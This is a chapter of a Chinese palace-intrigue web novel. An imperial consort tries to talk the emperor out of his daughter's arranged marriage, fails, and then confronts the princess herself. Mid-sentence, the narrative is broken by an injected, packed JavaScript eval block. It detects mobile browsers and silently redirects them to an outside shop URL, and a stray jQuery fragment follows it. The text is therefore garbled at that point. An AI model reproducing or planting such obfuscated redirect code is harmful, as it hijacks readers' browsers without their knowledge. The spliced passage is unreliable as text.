12. 枕边风

作品:《公主有毒

    多了一个陆朝云从中帮忙,只不过是让这荒唐的指婚结束得更快一些而已。


    这件事,他们陆家是胜券在握的。


    陆朝云想帮她们倒是真心的,当晚,陆氏母女离开之后,陆朝云就开始有所行动了。


    她召来了一个宫女,询问道:“你可知道,陛下今日晚膳在哪个宫里用?”


    “回娘娘,应该是郑婕妤。”


    陆朝云思索半晌:“也好。”


    只要不是皇后那里,一切都好办,这个郑婕妤平时没少巴结她,这次也到了用人的时候了。


    -


    晚上,留芳宫内。


    赵寅与郑婕妤面对面坐着,郑婕妤的碗里只有一块芸豆,她每吃一口,就亲自为赵寅布菜,然后盯着赵寅的脸,生怕他有什么不满。


    赵寅见她吃得极少,贴心道:“你也多用一些罢,近日有些瘦了,在朕面前,不用如此拘谨,朕又不会吃了你。”


    郑婕妤面上带着微笑,回:“臣妾谢陛下体恤。”


    说完,多吃了几口菜。


    不一会,郑婕妤见赵寅用完了膳,微微低头,露出小女儿家的姿态来,道:“陛下近几日都宿在臣妾这里,臣妾惶恐。”


    赵寅用侍从递过来的帕子擦了擦手,道:“既如此,那朕待会去看看舒妃罢,你只管好好休息。”


    舒妃的祈祥宫就在留芳宫旁边,赵寅只想着就近原则,便说要去舒妃那里。


    郑婕妤听到此话,没有欣喜应下,也没有反驳,很是平静。


    她指着端着瓷碗的宫女道:“陛下,刚刚贵妃娘娘吩咐御膳房送来了百合莲子羹,臣妾吃着不错,陛下也常常吧。”


    虽然皇帝的喜好不便被他人知道,但陆朝云是出了名的会察言观色,她隐约察觉到赵寅喜爱此物,故今日送来。


    赵寅看了一眼宫女端着的百合莲子羹,点点头道:“贵妃有心了。”


    他倒是没尝一口,而是说道:“那朕今日就多走几步,转去揽月宫看看贵妃。”


    这次郑婕妤接话道:“如此甚好,姐姐见到了陛下,一定开心。”


    赵寅知道这郑婕妤的用意,也没勉强留在这里,这女人压根就不打算服侍他,真没劲。


    虽然与后妃们权利不对等,但赵寅是个会在意女子情绪的男人,既然郑婕妤没有兴致,那便罢了,他去找个有兴致的。


    后妃们关系和睦,他这个做皇帝的也开心。


    赵寅走出留芳宫,外面的龙辇已经等候多时了,他却是摆摆手,道:“罢了,你们休息去吧,我才用完晚膳,多走几步消消食。”


    反正这里离揽月宫也不远,他就当饭后踱步了。


    陆朝云知道今晚赵寅有可能过来,早就做好了万全准备,对着走进殿中的赵寅盈盈福身,赵寅伸出手将她扶起。


    他歉意道:“想想,朕已有许久没有来你这里了。”


    也难为了陆朝云,时常想着他。


    “陛下不来,那必然是臣妾无法讨陛下的欢心,故而日日忧虑,陛下是否安好,最后只得送一碗百合莲子羹聊表心意,还望陛下不要嫌弃臣妾蠢笨。”


    赵寅一边拉着她,坐下,道:“你还蠢笨?你若是蠢笨,朕这后宫,才当真是乌合之众了,论聪慧,谁人能极爱妃?你今日为何送那碗莲子羹去郑婕妤那里?不就是想见朕么,朕如你的意就是。”


    赵寅喜欢陆朝云时不时地放出想见他的意味来。


    “陛下谬赞了。”陆朝云羞怯难当,红着脸笑着拉近了与赵寅的距离。


    夜间寂静,揽月宫里还留有一盏灯,光亮透过帷帐洒在陆朝云脸上,照映着床上一对交颈而卧的男女。


    陆朝云整个人趴在赵寅身上,脑袋缩进他的颈窝里,她睁着眼睛,困意全无。


    依照她往常对赵寅的了解,此刻他虽紧闭双眼,却没有入睡,想着今天万氏来找她的那件事情,陆朝云终究是开口了:“陛下……”


    赵寅迷迷糊糊回道:“嗯?”


    “臣妾听闻,最近您给六公主指了一门亲事。”


    赵寅慵懒睁开眼睛,手拍了拍陆朝云的肩膀:“嗯,小六已及笄,也该嫁人了。”


    陆朝云有些困惑,若是按年龄的话,陛下不为那些年岁稍大一些的公主指婚,却偏偏看重刚及笄的赵玉梳。


    也许是赵寅太过宠爱那丫头了吧,也只有这一种解释了。


    “不知,陛下看上了哪家的公子为驸马?”


    “萧令公的儿子,叫萧裕的,朕瞧着他不错。”


    “陛下……”


    陆朝云装作第一次听到一样,支起身子,惊恐地看着赵寅,赵寅被她弄得困意全无。


    “怎么了?”


    “陛下,您是知道的,陆家与萧家素来交好,臣妾嫂嫂也是多番同臣妾提起,两家长辈有意结亲,所以……”


    “那又如何?”赵寅显然是不想顺着陆朝云的意思说下去。


    陆朝云一愣,她惊讶于这次赵寅的态度强硬,不过她既然已经开了口,自然帮人帮到底,她还是要说下去的。


    “陛下,臣妾听闻,不止是两家长辈,我那侄女在心里也早已把萧二郎当做了自己的郎君,那萧二郎也很满意浣云,如今陛下骤然指婚,叫她如何自处?”


    赵寅平时喜欢装傻,有些事,他睁一只眼闭一只眼也就过去了,难得糊涂嘛。


    但此事困扰他多年,他好不容易有机会分裂萧陆两家,任凭他平日里再宠爱万朝云,他也不会受她的影响半分。


    “她有什么不能自处的?你兄嫂他们有意,但此事也有没有放在明面上细说,萧家连聘书都没下,连定亲都不算,难不成还会毁她名声吗?”


    涉及到赵寅利益的事情,他总是十分清醒,不会轻易被枕边的女人带偏过去。


    “萧裕他若是真的对这件婚事有什么不满,大可以入宫来见朕,说明为何拒婚,你又不是他肚子里的蛔虫,如何知道他是否愿意?”


    三言两语,陆朝云被怼得哑口无言,她也看出来了赵寅的态度,未免惹他不快,劝说只好作罢。


    “君无戏言,朕已经说出去的话,怎能轻易更改?”


    翌日,赵寅很早便上朝去了,陆朝云一个人在揽月宫惶惶不安,来回踱步。


    也不知道她昨日的劝说有没有惹恼赵寅,没想到赵寅这次的态度能如此强硬,她也始料未及。


    往常,她无论要什么,只要撒个娇,往他怀里钻,什么不是手到擒来,她可是货真价实的宠妃。


    罢了,赵寅这边行不通,她还有别的办法,总不能叫侄女日后以泪洗面吧。


    陆朝云即刻行动起来,做了一些准备,准备跑一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711434|144572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    趟藏春宫。


    陆朝云刚到藏春宫的时候,赵玉梳还在梦中。


    赵玉梳懒散惯了,在她这里,无必要不早起。


    白瓷快步进来,打算叫赵玉梳起床:“殿下,殿下,您快醒一醒。”


    赵玉梳隐约听见了她的声音,眼睛还没睁开,问道:“白瓷,什么事啊?”


    白瓷知道她睡觉时不喜旁人打扰,这个时候过来,应该是有事。


    “殿下,贵妃娘娘来藏春宫了。”


    赵玉梳一听,猛然从床上坐起,揉揉眼睛,清醒了大半。


    “她怎么来这里了。”


    她母后被禁足着,不在藏春宫,陆贵妃来此,只怕是寻她来了,不过聪慧的赵玉梳只片刻就想明白她因何来此了。


    八成是为了陆浣云。


    也罢,她今日也想会一会这位盛宠不衰的贵妃娘娘,看看她到底是如何国色天香,巧言令色,才迷惑了她的父皇。


    她掀开被子,揉揉脑袋,让自己看起来精神一些,道:“白瓷,扶我梳洗一下吧。”


    赵玉梳简单梳了个发髻,换了身衣服,即刻来藏春宫正殿接见陆朝云。


    陆朝云是赵玉梳的庶母,按规矩,赵玉梳是要行礼的,她款款走过来,福了福身:“陆娘娘万安。”


    陆朝云见赵玉梳到了,快速起身,将她扶起,笑吟吟道:“你这孩子,不必多礼,过来坐啊。”


    陆朝云拉着赵玉梳坐下,开始嘘寒问暖,聊着有的没的,赵玉梳实在看不惯她的做派。


    她们之前见面的次数屈指可数,她连陆朝云的样貌都没仔细注意过,还是在她母后被禁足之后,她才开始注意到这位与她母后斗法多年的宠妃。


    陆朝云向来无事不登三宝殿,今日来此,赵玉梳可不会觉得陆朝云是特意来关心她来了。


    “陆娘娘,昨日我与宫女们多玩闹了会,睡得晚了些,您要是没有什么特别的事,我就先回去睡了,您自便吧。”


    “哎,朝华,你且先留步。”


    赵玉梳还真的停住了。


    “我今日找你,确有其事。”


    见陆朝云总算愿意切入正题了,赵玉梳再次坐下,仔细听着。


    “近日我听闻,陛下为你指了一桩婚事,这本是喜事,但那萧家二郎,不瞒你说,本是我那侄女中意之人,两家也早就谈婚论嫁了,若不是萧令公之前一直不在京城,我那侄女只怕早就成了萧家妇了,陛下的旨意一下来,她便日日在陆府以泪洗面,我看着极是可怜。”


    赵玉梳冷着脸,反问道:“她可怜,你同我说什么?”


    陆朝云有些没料到赵玉梳竟然是这种反应。


    “朝华,人生在世,自当应该对旁人保留一份善意,你与那萧二郎并无任何感情基础不是吗?可我那侄女却是非他不嫁,已经到了废寝忘食的地步了,我实在见不得她如此颓废下去。俗话说,宁拆十座庙,不破一桩婚,我也算从小看你到大的,你心地善良,自然不愿做毁人姻缘者。”


    赵玉梳听完,用手背顶着下巴,窃笑道:“原来陆娘娘也不过如此嘛。”


    陆朝云眉头一皱:“你这是何意?”


    赵玉梳还以为这个陆朝云有多舌灿莲花呢,原也不过就是说一些不痛不痒的废话,看来是昨日对着她父皇吹枕边风没用,今日这才想起她来了。